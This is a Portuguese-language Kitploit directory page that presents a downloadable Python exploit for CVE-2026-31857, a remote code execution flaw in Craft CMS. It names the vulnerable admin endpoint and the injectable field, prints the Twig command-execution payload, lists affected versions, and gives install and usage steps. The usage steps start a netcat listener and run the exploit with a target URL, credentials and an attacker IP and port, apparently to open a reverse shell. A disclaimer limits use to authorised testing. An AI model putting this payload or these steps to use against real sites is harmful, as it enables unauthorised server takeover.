Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31857 — Craft CMS RCE via condicionais relacionais no painel de controle | Kitploit
Ferramentas/GitHubGitHub/0xtatsuki/cve-2026-31857
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub0xtatsuki/cve-2026-31857

CVE-2026-31857

Craft CMS RCE via condicionais relacionais no painel de controle

há 1 diaAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31857 - Exploit de RCE no Craft CMS

Exploit em Python para uma vulnerabilidade de RCE no painel de administração do Craft CMS, acionada através do endpoint admin/actions/element-indexes/count-elements. A injeção ocorre através do campo elementIds de uma condição RelatedToConditionRule, que é interpretada como Twig no lado do servidor e explorada através do filtro system para executar um comando arbitrário ({{[['<cmd>']|filter('system')]}}).

Vulnerabilidade divulgada por NeoSprings

Versões afetadas :

  • >= 5.0.0-RC1, <= 5.9.8
  • >= 4.0.0-beta.1, <= 4.17.3

Referências :

  • https://github.com/craftcms/cms/security/advisories/GHSA-fp5j-j7j4-mcxc
  • https://nvd.nist.gov/vuln/detail/cve-2026-31857

Instalação

$ git clone https://github.com/0xTatsuki/CVE-2026-31857.git
$ cd CVE-2026-31857
$ pip install -r requirements.txt

Utilização

  1. Inicie o listener antes de executar o exploit :
$ nc -lvnp <attacker_port>
  1. Execute o exploit :
$ python3 CVE-2026-31857.py -t http://<craftcms_base_url> -u <username> -p <password> -i <attacker_ip> -P <attacker_port>

Aviso legal

Esta ferramenta é fornecida apenas para fins educativos e exercícios autorizados (CTF, testes de penetração contratados ou testes locais). Utilizá-la contra qualquer sistema sem autorização explícita é ilegal.

Baixar ferramenta